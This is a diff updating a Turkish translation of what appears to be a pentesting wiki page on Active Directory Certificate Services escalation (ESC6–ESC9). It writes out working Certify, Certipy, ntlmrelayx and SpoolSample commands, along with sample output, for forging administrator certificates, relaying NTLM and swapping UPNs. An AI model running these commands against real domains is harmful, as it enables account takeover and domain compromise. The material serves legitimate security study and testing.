-**Not**: `certreq.exe` içindeki `-attrib "SAN:"` argümanı (“Name Value Pairs” olarak anılan) aracılığıyla bir Certificate Signing Request'e (CSR) alternatif adların eklenme yöntemi, ESC1'deki SAN kötüye kullanım stratejisinden farklılık gösterir. Buradaki ayrım, hesap bilgilerinin bir uzantı yerine bir sertifika özniteliği içinde **nasıl kapsüllediği**dir.
+**Not**: `-attrib "SAN:"` argümanı ile `certreq.exe` içinde Name Value Pairs olarak anılan şekilde bir Certificate Signing Request (CSR) içine alternatif adlar ekleme yöntemi, ESC1'deki SAN'ların kötüye kullanımı stratejisinden bir **fark** gösterir. Buradaki ayırıcı nokta, hesap bilgilerinin nasıl kapsüllediğidir—bir uzantı yerine sertifika özniteliği içinde.
 
 ### Kötüye Kullanım
 
@@ -203,11 +203,11 @@ Ayarın etkin olup olmadığını doğrulamak için kuruluşlar `certutil.exe` i
 ```bash
 certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
 ```
-Bu işlem esasen **remote registry access** kullanır, bu nedenle alternatif bir yaklaşım şöyle olabilir:
+Bu işlem esasen **remote registry access** kullanır, dolayısıyla alternatif bir yaklaşım şu olabilir:
 ```bash
 reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
 ```
-Bu yanlış yapılandırmayı tespit edip istismar edebilen [**Certify**](https://github.com/GhostPack/Certify) ve [**Certipy**](https://github.com/ly4k/Certipy) gibi araçlar şunlardır:
+[**Certify**](https://github.com/GhostPack/Certify) ve [**Certipy**](https://github.com/ly4k/Certipy) gibi araçlar bu yanlış yapılandırmayı tespit edebilir ve sömürebilir:
 ```bash
 # Detect vulnerabilities, including this one
 Certify.exe find
@@ -216,7 +216,7 @@ Certify.exe find
 Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
 ```
-Bu ayarları değiştirmek için, kişinin **domain administrative** haklarına veya eşdeğer yetkiye sahip olduğu varsayılırsa, aşağıdaki komut herhangi bir iş istasyonundan çalıştırılabilir:
+Bu ayarları değiştirmek için, birinin **etki alanı yönetici hakları** veya eşdeğerine sahip olduğu varsayıldığında, aşağıdaki komut herhangi bir iş istasyonundan çalıştırılabilir:
 ```bash
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
@@ -225,30 +225,30 @@ Bu yapılandırmayı ortamınızda devre dışı bırakmak için bayrak şu şek
 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
 ```
 > [!WARNING]
-> May 2022 güvenlik güncellemelerinden sonra, yeni verilen **sertifikalar** **talep edenin `objectSid` özelliğini** içeren bir **güvenlik uzantısı** içerecektir. ESC1 için, bu SID belirtilen SAN'dan türetilir. Ancak, **ESC6** için SID, SAN değil **talep edenin `objectSid`**'ini yansıtır.\
-> ESC6'yı istismar etmek için, sistemin **SAN'ı yeni güvenlik uzantısı yerine önceliklendiren** ESC10 (Weak Certificate Mappings) için savunmasız olması gerekir.
+> May 2022 güvenlik güncellemelerinden sonra, yeni verilen **sertifikalar** bir **güvenlik uzantısı** içerecek ve bu uzantı **istek sahibinin `objectSid` özelliğini** barındıracaktır. ESC1 için bu SID belirtilen SAN'dan türetilir. Ancak **ESC6** için SID, SAN yerine **istek sahibinin `objectSid`** değerini yansıtır.\
+> ESC6'yı kullanabilmek için, sistemin ESC10 (Weak Certificate Mappings) zafiyetine açık olması gerekir; bu zafiyet **yeni güvenlik uzantısı yerine SAN'ı önceliklendirir**.
 
-## Zafiyetli Sertifika Yetkilisi Erişim Kontrolü - ESC7
+## Zayıf Sertifika Yetkilisi Erişim Kontrolü - ESC7
 
 ### Saldırı 1
 
 #### Açıklama
 
-Bir sertifika yetkilisi için erişim denetimi, CA eylemlerini yöneten bir dizi izin aracılığıyla sağlanır. Bu izinler `certsrv.msc`'yi açıp bir CA'ya sağ tıklayıp özellikleri seçerek ve ardından Security sekmesine giderek görüntülenebilir. Ek olarak, izinler PSPKI modülü kullanılarak şu gibi komutlarla sıralanabilir:
+Bir sertifika yetkilisi için erişim kontrolü, CA işlemlerini yöneten bir dizi izin aracılığıyla sağlanır. Bu izinler `certsrv.msc`'ye erişip bir CA'ya sağ tıklayarak, Properties'i seçip Security sekmesine gidilerek görülebilir. Ayrıca, izinler PSPKI modülü kullanılarak şu tür komutlarla enumerate edilebilir:
 ```bash
 Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
 ```
-Bu, sırasıyla **`ManageCA`** ve **`ManageCertificates`** haklarına karşılık gelen birincil haklar hakkında, “CA yöneticisi” ve “Sertifika Yöneticisi” rollerine ilişkin içgörüler sağlar.
+This provides insights into the primary rights, namely **`ManageCA`** and **`ManageCertificates`**, correlating to the roles of “CA administrator” and “Certificate Manager” respectively.
 
 #### Kötüye Kullanım
 
-Bir sertifika otoritesinde **`ManageCA`** haklarına sahip olmak, principal'in PSPKI kullanarak uzak ayarları değiştirmesine olanak tanır. Bu, herhangi bir şablonda SAN belirtilmesine izin vermek için **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağını açıp kapamayı içerir; bu, domain yükseltmesi açısından kritik bir unsurdur.
+Bir certificate authority üzerinde **`ManageCA`** haklarına sahip olmak, ilgili hesabın PSPKI kullanarak ayarları uzaktan değiştirmesine olanak sağlar. Bu, herhangi bir şablonda SAN belirtimine izin vermek için **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağını açıp kapamak gibi işlemleri içerir; bu, domain escalation için kritik bir konudur.
 
-Bu işlemin basitleştirilmesi, PSPKI’nin **Enable-PolicyModuleFlag** cmdlet'i kullanılarak sağlanabilir; böylece doğrudan GUI etkileşimi olmadan değişiklik yapılabilir.
+Bu süreç PSPKI’nin **Enable-PolicyModuleFlag** cmdlet’inin kullanılmasıyla basitleştirilebilir; bu sayede doğrudan GUI ile etkileşime girmeden değişiklik yapılabilir.
 
-**`ManageCertificates`** haklarına sahip olmak, bekleyen taleplerin onaylanmasını kolaylaştırır ve böylece “CA sertifika yöneticisi onayı” güvenliğini fiilen atlatır.
+**`ManageCertificates`** haklarına sahip olmak, bekleyen talepleri onaylamayı kolaylaştırır ve böylece “CA certificate manager approval” korumasını fiilen baypas eder.
 
-Bir sertifika talep etmek, onaylamak ve indirmek için **Certify** ve **PSPKI** modüllerinin kombinasyonu kullanılabilir:
+Bir sertifika istemek, onaylamak ve indirmek için **Certify** ve **PSPKI** modüllerinin kombinasyonu kullanılabilir:
 ```bash
 # Request a certificate that will require an approval
 Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
@@ -269,17 +269,17 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
 #### Açıklama
 
 > [!WARNING]
-> Önceki saldırıda **`Manage CA`** izinleri **EDITF_ATTRIBUTESUBJECTALTNAME2** bayrağını etkinleştirmek için kullanıldı ve **ESC6 attack** gerçekleştirildi, ancak CA servisi (`CertSvc`) yeniden başlatılana kadar bunun hiçbir etkisi olmayacaktır. Bir kullanıcı `Manage CA` erişim hakkına sahip olduğunda, kullanıcıya **servisi yeniden başlatma** izni de verilir. Ancak bu, kullanıcının servisi uzaktan yeniden başlatabileceği anlamına gelmez. Ayrıca, E**SC6 might not work out of the box** çoğu yamalanmış ortamda May 2022 güvenlik güncellemeleri nedeniyle çalışmayabilir.
+> Önceki saldırıda **`Manage CA`** izinleri **EDITF_ATTRIBUTESUBJECTALTNAME2** bayrağını etkinleştirmek için kullanıldı ve **ESC6 attack** gerçekleştirilmek istendi, ancak CA servisi (`CertSvc`) yeniden başlatılana kadar bunun herhangi bir etkisi olmayacaktır. Bir kullanıcı `Manage CA` erişim hakkına sahip olduğunda, kullanıcının **servisi yeniden başlatmasına** da izin verilir. Ancak bu, kullanıcının **servisi uzaktan yeniden başlatabileceği anlamına gelmez**. Ayrıca, Mayıs 2022 güvenlik güncellemeleri nedeniyle, **ESC6 kutudan çıktığı gibi çoğu yamalı ortamda çalışmayabilir**.
 
-Bu nedenle burada başka bir saldırı sunuluyor.
+Bu nedenle, burada başka bir saldırı sunuluyor.
 
-Önkoşullar:
+Ön koşullar:
 
-- Sadece **`ManageCA` permission**
-- **`Manage Certificates`** izni ( **`ManageCA`** üzerinden verilebilir)
-- Sertifika şablonu **`SubCA`** **etkin** olmalıdır ( **`ManageCA`** üzerinden etkinleştirilebilir)
+- Sadece **`ManageCA`** izni
+- **`Manage Certificates`** izni (**`ManageCA`** üzerinden verilebilir)
+- Sertifika şablonu **`SubCA`** **etkinleştirilmiş** olmalıdır (**`ManageCA`** üzerinden etkinleştirilebilir)
 
-Teknik, `Manage CA` _ve_ `Manage Certificates` erişim hakkına sahip kullanıcıların **başarısız sertifika talepleri oluşturabileceği** gerçeğine dayanır. **`SubCA`** sertifika şablonu **ESC1**'e karşı savunmasızdır, ancak şablona yalnızca **yöneticiler** kayıt olabilir. Bu nedenle bir **kullanıcı**, **`SubCA`** için kayıt talep edebilir — bu talep **reddedilecektir** — ancak daha sonra yönetici tarafından **verilecektir**.
+Teknik, `Manage CA` _ve_ `Manage Certificates` erişim hakkına sahip kullanıcıların **başarısız sertifika talepleri oluşturabileceği** gerçeğine dayanır. **`SubCA`** sertifika şablonu **ESC1'e karşı savunmasızdır**, ancak şablona kayıt yaptırabilecek olan **yalnızca yöneticilerdir**. Bu nedenle bir **kullanıcı**, **`SubCA`**'ya kayıt için **istek** gönderebilir — bu **reddedilecektir** — fakat daha sonra yönetici tarafından **verilecektir**.
 
 #### Kötüye Kullanım
 
@@ -302,9 +302,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 
 [*] Successfully enabled 'SubCA' on 'corp-DC-CA'
 ```
-Bu saldırı için önkoşulları yerine getirdiysek, **`SubCA` şablonuna dayalı bir sertifika talep ederek** başlayabiliriz.
+Bu saldırı için ön koşulları yerine getirdiysek, **`SubCA` şablonuna dayalı bir sertifika talep ederek** başlayabiliriz.
 
-**Bu istek reddedilece**k, ancak özel anahtarı kaydedeceğiz ve istek kimliğini not edeceğiz.
+**Bu istek reddedilecek**, fakat özel anahtarı kaydedeceğiz ve istek ID'sini not edeceğiz.
 ```bash
 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -316,7 +316,7 @@ Would you like to save the private key? (y/N) y
 [*] Saved private key to 785.key
 [-] Failed to request certificate
 ```
-Sahip olduğumuz **`Manage CA` ve `Manage Certificates`** ile başarısız sertifika isteğini `ca` komutu ve `-issue-request <request ID>` parametresi ile **çıkarabiliriz**.
+**`Manage CA` ve `Manage Certificates`** ile `ca` komutu ve `-issue-request <request ID>` parametresiyle başarısız sertifika isteğini **verebiliriz**.
 ```bash
 certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -335,24 +335,24 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 [*] Loaded private key from '785.key'
 [*] Saved certificate and private key to 'administrator.pfx'
 ```
-### Saldırı 3 – Manage Certificates Extension Abuse (SetExtension)
+### Attack 3 – Manage Certificates Extension Abuse (SetExtension)
 
 #### Açıklama
 
-Klasik ESC7 suistimallerine (EDITF özniteliklerini etkinleştirmek veya bekleyen istekleri onaylamak) ek olarak, **Certify 2.0** Enterprise CA üzerinde yalnızca *Manage Certificates* (diğer adıyla **Certificate Manager / Officer**) rolünü gerektiren tamamen yeni bir primitive ortaya çıkardı.
+Klasik ESC7 istismarlarına (EDITF özniteliklerini etkinleştirme veya bekleyen istekleri onaylama) ek olarak, **Certify 2.0** yalnızca Enterprise CA üzerinde *Manage Certificates* (diğer adıyla **Certificate Manager / Officer**) rolünü gerektiren tamamen yeni bir primitive ortaya koydu.
 
-`ICertAdmin::SetExtension` RPC yöntemi, *Manage Certificates* yetkisine sahip herhangi bir principal tarafından çalıştırılabilir. Bu yöntem geleneksel olarak meşru CAs tarafından **pending** isteklerdeki uzantıları güncellemek için kullanılırken, bir saldırgan onu onay bekleyen bir isteğe **varsayılan olmayan bir sertifika uzantısı eklemek** (ör. `1.1.1.1` gibi özel bir *Certificate Issuance Policy* OID'si) için kötüye kullanabilir.
+`ICertAdmin::SetExtension` RPC yöntemi *Manage Certificates* yetkisine sahip herhangi bir principal tarafından çalıştırılabilir. Yöntem geleneksel olarak meşru CA'lar tarafından **bekleyen** isteklerde uzantıları güncellemek için kullanılırken, bir saldırgan bunu bekleyen bir isteğe **varsayılan olmayan bir sertifika uzantısı** (ör. `1.1.1.1` gibi özel bir *Certificate Issuance Policy* OID'si) **eklemek** için kötüye kullanabilir.
 
-Hedeflenen şablon bu uzantı için **varsayılan bir değer tanımlamadığı** için, CA istek nihayet verildiğinde saldırgan tarafından kontrol edilen değeri ÜSTÜNE yazmayacaktır. Sonuç olarak oluşan sertifika saldırgan tarafından seçilmiş bir uzantı içerir ve bu uzantı:
+Hedeflenen şablon bu uzantı için **varsayılan bir değer tanımlamadığı** için, istek nihai olarak verildiğinde CA saldırgan kontrollü değeri ÜZERİNE YAZMAZ. Sonuç olarak ortaya çıkan sertifika saldırgan tarafından seçilmiş bir uzantı içerir ve bu şu riskleri doğurabilir:
 
-* Diğer savunmasız şablonların Application / Issuance Policy gereksinimlerini karşılayarak ayrıcalık yükselmesine yol açabilir.
-* Sertifikanın üçüncü taraf sistemlerde beklenmeyen güven kazanmasını sağlayan ek EKU'lar veya politikalar enjekte edebilir.
+* Diğer savunmasız şablonların Application / Issuance Policy gereksinimlerini karşılayarak ayrıcalık yükseltmeye yol açabilir.
+* Sertifikaya ek EKU veya politikalar enjekte edilerek üçüncü taraf sistemlerde beklenmedik bir güven kazandırabilir.
 
-Kısacası, daha önce ESC7'nin "daha az güçlü" yarısı olarak düşünülen *Manage Certificates*, artık CA yapılandırmasına dokunmadan veya daha kısıtlı olan *Manage CA* hakkını gerektirmeden tam ayrıcalık yükseltme veya uzun süreli kalıcılık için kullanılabilir.
+Kısacası, daha önce ESC7'nin “daha az güçlü” yarısı olarak görülen *Manage Certificates*, artık CA yapılandırmasına dokunmadan veya daha kısıtlı *Manage CA* hakkını gerektirmeden tam ayrıcalık yükseltme veya uzun vadeli persistence için kullanılabilir.
 
-#### Certify 2.0 ile bu primitive'in kötüye kullanımı
+#### Certify 2.0 ile primitive'ın kötüye kullanımı
 
-1. **Pending** olarak kalacak bir sertifika isteği gönderin. Bu, yönetici onayı gerektiren bir şablonla zorlanabilir:
+1. **Beklemede (*pending*) kalacak bir sertifika isteği gönderin.** Bu, yönetici onayı gerektiren bir şablonla zorlanabilir:
 ```powershell
 Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
 # Take note of the returned Request ID
@@ -364,39 +364,39 @@ Certify.exe manage-ca --ca SERVER\\CA-NAME \
 --request-id 1337 \
 --set-extension "1.1.1.1=DER,10,01 01 00 00"  # fake issuance-policy OID
 ```
-*Eğer şablon zaten *Certificate Issuance Policies* uzantısını tanımlamıyorsa, yukarıdaki değer sertifika verildikten sonra korunacaktır.*
+*Eğer şablon zaten *Certificate Issuance Policies* uzantısını tanımlamıyorsa, yukarıdaki değer verilme sonrası korunacaktır.*
 
-3. İsteği verin (rolünüzün ayrıca *Manage Certificates* onay hakları varsa) veya bir operatörün onaylamasını bekleyin. Verildikten sonra sertifikayı indirin:
+3. İsteği verin (eğer rolünüzde *Manage Certificates* onay hakları da varsa) veya bir operatörün onaylamasını bekleyin. Verildikten sonra sertifikayı indirin:
 ```powershell
 Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
 ```
 
-4. Ortaya çıkan sertifika artık kötü amaçlı issuance-policy OID'sini içerir ve sonraki saldırılarda (ör. ESC13, domain escalation vb.) kullanılabilir.
+4. Ortaya çıkan sertifika artık kötü amaçlı issuance-policy OID'sini içerir ve sonraki saldırılarda (ör. ESC13, domain yükseltmesi vb.) kullanılabilir.
 
-> NOTE: Aynı saldırı Certipy ≥ 4.7 kullanılarak `ca` komutu ve `-set-extension` parametresiyle de gerçekleştirilebilir.
+> NOTE:  Aynı saldırı Certipy ≥ 4.7 ile `ca` komutu ve `-set-extension` parametresi kullanılarak da gerçekleştirilebilir.
 
 ## NTLM Relay to AD CS HTTP Endpoints – ESC8
 
 ### Açıklama
 
 > [!TIP]
-> AD CS yüklü ortamlarda, eğer zafiyetli bir **web enrollment endpoint** mevcutsa ve **domain computer enrollment ve client authentication**'a izin veren en az bir **certificate template** yayımlanmışsa (ör. varsayılan **`Machine`** şablonu), spooler servisi etkin olan herhangi bir bilgisayarın bir saldırgan tarafından ele geçirilmesi mümkün hale gelir!
+> AD CS'nin yüklü olduğu ortamlarda, eğer bir **web enrollment endpoint** zafiyeti mevcutsa ve en az bir **sertifika şablonu** yayımlanmışsa ve bu şablon **domain computer enrollment ve client authentication** izinlerine sahipse (varsayılan **`Machine`** şablonu gibi), spooler servisi etkin olan herhangi bir bilgisayarın bir saldırgan tarafından ele geçirilmesi mümkün hale gelir!
 
-AD CS, yöneticilerin yükleyebileceği ek sunucu rolleri aracılığıyla sunulan çeşitli **HTTP tabanlı enrollment yöntemlerini** destekler. Bu HTTP tabanlı sertifika enrollment arayüzleri **NTLM relay saldırılarına** açıktır. Bir saldırgan, ele geçirilmiş bir makineden, gelen NTLM ile kimlik doğrulaması yapan herhangi bir AD hesabının taklit edilmesini gerçekleştirebilir. Hedef hesabı taklit ederken, bu web arayüzleri saldırgan tarafından erişilerek `User` veya `Machine` sertifika şablonlarını kullanarak bir client authentication sertifikası talep edilebilir.
+AD CS, yöneticilerin kurabileceği ek sunucu rolleri aracılığıyla kullanılabilen birkaç **HTTP tabanlı enrollment yöntemi** destekler. Bu HTTP tabanlı sertifika enrollment arayüzleri **NTLM relay saldırılarına** açıktır. Bir saldırgan, **ele geçirilmiş bir makinadan**, gelen NTLM ile kimlik doğrulayan herhangi bir AD hesabının kimliğine bürünebilir. Mağdur hesabın yerine geçerken, bu web arayüzlerine erişip `User` veya `Machine` sertifika şablonlarını kullanarak **client authentication sertifikası talep edebilir**.
 
-- **Web enrollment interface** (eski bir ASP uygulaması, `http://<caserver>/certsrv/` adresinde bulunur) varsayılan olarak yalnızca HTTP kullanır; bu da NTLM relay saldırılarına karşı koruma sağlamaz. Ayrıca Authorization HTTP başlığında yalnızca NTLM'yi açıkça kabul eder, bu da Kerberos gibi daha güvenli kimlik doğrulama yöntemlerini devre dışı bırakır.
-- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service ve **Network Device Enrollment Service** (NDES) Authorization HTTP başlığında varsayılan olarak negotiate kimlik doğrulamasını destekler. Negotiate kimlik doğrulaması Kerberos ve **NTLM**'yi desteklediği için, bir saldırgan relay saldırıları sırasında kimlik doğrulamayı **NTLM'ye düşürebilir**. Bu web servisleri HTTPS'yi varsayılan olarak etkinleştirse de, HTTPS tek başına **NTLM relay saldırılarına karşı koruma sağlamaz**. HTTPS hizmetleri için NTLM relay saldırılarına karşı koruma yalnızca kanal bağlama (channel binding) ile birleştiğinde mümkündür. Ne yazık ki, AD CS IIS üzerinde Extended Protection for Authentication'ı etkinleştirmez; oysa kanal bağlama için bu gereklidir.
+- **web enrollment interface** (eski bir ASP uygulaması, `http://<caserver>/certsrv/` adresinde bulunur) varsayılan olarak yalnızca HTTP kullanır; bu da NTLM relay saldırılarına karşı koruma sağlamaz. Ayrıca Authorization HTTP header'ı aracılığıyla yalnızca NTLM doğrulamasına açık şekilde yapılandırılmıştır, bu da Kerberos gibi daha güvenli yöntemlerin uygulanmasını engeller.
+- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service ve **Network Device Enrollment Service** (NDES) varsayılan olarak Authorization HTTP header'larında negotiate doğrulamayı destekler. Negotiate doğrulaması hem Kerberos hem de **NTLM**'yi desteklediğinden, bir saldırgan relay saldırıları sırasında doğrulamayı **NTLM'ye düşürebilir**. Bu web servisleri varsayılan olarak HTTPS'yi etkinleştirse de, sadece HTTPS kullanımı **NTLM relay saldırılarına karşı koruma sağlamaz**. HTTPS için NTLM relay saldırılarına karşı koruma, kanal bağlaması (channel binding) ile birleştirildiğinde mümkündür. Ne yazık ki, AD CS IIS üzerinde Extended Protection for Authentication'ı etkinleştirmez; bu da channel binding için gereklidir.
 
-NTLM relay saldırılarıyla ilgili yaygın bir **sorun**, NTLM oturumlarının **kısa süresi** ve saldırganın **NTLM signing** gerektiren hizmetlerle etkileşime girememesidir.
+NTLM relay saldırılarında sık görülen bir **sorun**, NTLM oturumlarının **kısa süreli olması** ve saldırganın **NTLM signing** gerektiren servislerle etkileşim kuramamasıdır.
 
-Yine de, bu sınırlama, NTLM relay saldırısı kullanılarak kullanıcı için bir sertifika elde edilerek aşılabilir; çünkü oturum süresini sertifikanın geçerlilik süresi belirler ve sertifika **NTLM signing** gerektiren hizmetlerle kullanılabilir. Çalınmış bir sertifikanın nasıl kullanılacağına dair talimatlar için bakınız:
+Buna rağmen, bir NTLM relay saldırısını kullanarak kullanıcı için bir sertifika edinmek bu sınırlamayı aşar; çünkü oturum süresini belirleyen sertifikanın geçerlilik süresidir ve sertifika **NTLM signing** zorunluluğu olan servislerde kullanılabilir. Çalınan bir sertifikanın nasıl kullanılacağına dair talimatlar için bakınız:
 
 
 {{#ref}}
 account-persistence.md
 {{#endref}}
 
-NTLM relay saldırılarının bir diğer sınırlaması ise **saldırgan kontrolündeki bir makinenin kurban hesabı tarafından kimlik doğrulaması yapılması gerektiğidir**. Saldırgan ya bekleyebilir ya da bu kimlik doğrulamayı **zorlamaya** çalışabilir:
+NTLM relay saldırılarının bir diğer sınırlaması ise **saldırgan kontrolündeki bir makinenin mağdur hesap tarafından kimlik doğrulaması yapılmasını gerektirmesidir**. Saldırgan ya bekleyebilir ya da bu kimlik doğrulamayı **zorlamayı** deneyebilir:
 
 
 {{#ref}}
@@ -405,13 +405,13 @@ NTLM relay saldırılarının bir diğer sınırlaması ise **saldırgan kontrol
 
 ### **Kötüye Kullanım**
 
-[**Certify**](https://github.com/GhostPack/Certify)’s `cas` etkin **HTTP AD CS uç noktalarını** listeler:
+[**Certify**](https://github.com/GhostPack/Certify)’s `cas` komutu **etkin HTTP AD CS uç noktalarını** listeler:
 ```
 Certify.exe cas
 ```
 <figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
 
-`msPKI-Enrollment-Servers` özelliği, kurumsal Sertifika Yetkilileri (CAs) tarafından Sertifika Kayıt Servisi (CES) uç noktalarını depolamak için kullanılır. Bu uç noktalar **Certutil.exe** aracı kullanılarak ayrıştırılıp listelenebilir:
+`msPKI-Enrollment-Servers` özelliği, kurumsal Sertifika Yetkilileri (CAs) tarafından Sertifika Kayıt Hizmeti (CES) uç noktalarını depolamak için kullanılır. Bu uç noktalar **Certutil.exe** aracı kullanılarak ayrıştırılabilir ve listelenebilir:
 ```
 certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
 ```
@@ -437,11 +437,11 @@ proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2sup
 # Force authentication from victim to compromised machine with port forwards
 execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
 ```
-#### [Certipy](https://github.com/ly4k/Certipy) ile kötüye kullanım
+#### [Certipy](https://github.com/ly4k/Certipy) ile istismar
 
-Sertifika isteği, Certipy tarafından varsayılan olarak, iletilen hesap adının `$` ile bitip bitmediğine göre `Machine` veya `User` şablonuna dayanarak yapılır. Alternatif bir şablon belirtilmesi `-template` parametresinin kullanımıyla sağlanabilir.
+Bir sertifika isteği, varsayılan olarak Certipy tarafından `Machine` veya `User` şablonuna göre yapılır; bu, relay edilen hesap adının `$` ile bitip bitmediğine göre belirlenir. Alternatif bir şablon belirtimi `-template` parametresi kullanılarak yapılabilir.
 
-Bunun ardından doğrulamayı zorlamak için [PetitPotam](https://github.com/ly4k/PetitPotam) gibi bir teknik kullanılabilir. Domain controller'larla çalışılırken `-template DomainController` belirtilmesi gerekir.
+[PetitPotam](https://github.com/ly4k/PetitPotam) gibi bir teknik kimlik doğrulamayı zorlamak için kullanılabilir. Etki alanı denetleyicileri ile uğraşıldığında `-template DomainController` belirtilmesi gerekir.
 ```bash
 certipy relay -ca ca.corp.local
 Certipy v4.0.0 - by Oliver Lyak (ly4k)
@@ -454,44 +454,44 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
 [*] Saved certificate and private key to 'administrator.pfx'
 [*] Exiting...
 ```
-## No Security Extension - ESC9 <a href="#id-5485" id="id-5485"></a>
+## Güvenlik Uzantısı Yok - ESC9 <a href="#id-5485" id="id-5485"></a>
 
-### Explanation
+### Açıklama
 
-Yeni değer **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) için **`msPKI-Enrollment-Flag`**, ESC9 olarak adlandırılır ve bir sertifikaya **yeni `szOID_NTDS_CA_SECURITY_EXT` security extension**'ın gömülmesini engeller. Bu bayrak, `StrongCertificateBindingEnforcement` `1` olarak ayarlandığında (varsayılan) önem kazanır; bu durum `2` ile olan ayarla çelişir. Daha zayıf bir sertifika eşlemesinin Kerberos veya Schannel için istismar edilebileceği senaryolarda (ESC10'dakine benzer) bu bayrağın önemi artar; çünkü ESC9 yokluğunda gereksinimler değişmeyecektir.
+Yeni değer **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) için **`msPKI-Enrollment-Flag`**, ESC9 olarak adlandırılan, bir sertifikaya **yeni `szOID_NTDS_CA_SECURITY_EXT` güvenlik uzantısının** gömülmesini engeller. Bu bayrak, `StrongCertificateBindingEnforcement` `1` olarak ayarlandığında (varsayılan ayar) önem kazanır; bu, `2` ile olan duruma karşıtlık oluşturur. Daha zayıf bir sertifika eşlemesinin Kerberos veya Schannel için sömürülebileceği senaryolarda (ESC10 gibi) ESC9'un yokluğunun gereksinimleri değiştirmeyeceği göz önünde bulundurulduğunda önemi artar.
 
-Bu bayrağın ayarının anlamlı hale geldiği koşullar şunlardır:
+Bu bayrağın ayarının önemli hale geldiği koşullar şunlardır:
 
-- `StrongCertificateBindingEnforcement` `2` olarak ayarlanmamış (varsayılan `1`) veya `CertificateMappingMethods` içinde `UPN` bayrağı bulunuyor.
-- Sertifika `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile işaretlenmiş.
-- Sertifika herhangi bir client authentication EKU'su belirtiyor.
-- Başka bir hesabı ele geçirmek için herhangi bir hesap üzerinde `GenericWrite` izinleri mevcut.
+- `StrongCertificateBindingEnforcement` `2` olarak ayarlanmamıştır (varsayılan `1`dir) veya `CertificateMappingMethods` içinde `UPN` bayrağı bulunmaktadır.
+- Sertifika `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağıyla işaretlenmiştir.
+- Sertifika tarafından herhangi bir client authentication EKU belirtilmiştir.
+- Başka bir hesabı ele geçirmek için herhangi bir hesap üzerinde `GenericWrite` izinleri mevcuttur.
 
-### Abuse Scenario
+### Kötüye Kullanım Senaryosu
 
-Farz edelim `John@corp.local`, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahip ve hedefi `Administrator@corp.local` hesabını ele geçirmek. `Jane@corp.local`'ın enroll olmaya izinli olduğu `ESC9` sertifika şablonu, `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağıyla yapılandırılmıştır.
+Varsayalım ki `John@corp.local`, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahiptir ve amacı `Administrator@corp.local`'ı ele geçirmektir. `Jane@corp.local`'ın enroll olmasına izin verilen ESC9 sertifika şablonu, `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile yapılandırılmıştır.
 
-Başlangıçta, `John`'un `GenericWrite` sayesinde `Jane`'in hash'i Shadow Credentials kullanılarak elde edilir:
+Başlangıçta, Jane'in hash'i Shadow Credentials kullanılarak elde edilir, John'un `GenericWrite` izni sayesinde:
 ```bash
 certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
 ```
-Daha sonra, `Jane`'in `userPrincipalName`'ı kasıtlı olarak `@corp.local` alan adı kısmı atlanarak `Administrator` olarak değiştirilir:
+Ardından, `Jane`'in `userPrincipalName` değeri kasıtlı olarak `Administrator` olarak değiştirilir; `@corp.local` alan adı kısmı bilerek atlanmıştır:
 ```bash
 certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
 ```
-Bu değişiklik, `Administrator@corp.local`'un `Administrator`'ın `userPrincipalName`'ı olarak ayrı kalması koşuluyla kısıtlamaları ihlal etmez.
+Bu değişiklik, `Administrator@corp.local`'un `Administrator`'ın `userPrincipalName` olarak farklı kalması göz önüne alındığında kısıtlamaları ihlal etmez.
 
-Bunun ardından, zafiyetli olarak işaretlenen `ESC9` sertifika şablonu, `Jane` olarak istenir:
+Bunun ardından, zafiyetli olarak işaretlenmiş `ESC9` sertifika şablonu, `Jane` olarak istenir:
 ```bash
 certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
 ```
-Sertifikadaki `userPrincipalName`'in `Administrator`'ı yansıttığı ve herhangi bir “object SID” içermediği not edilir.
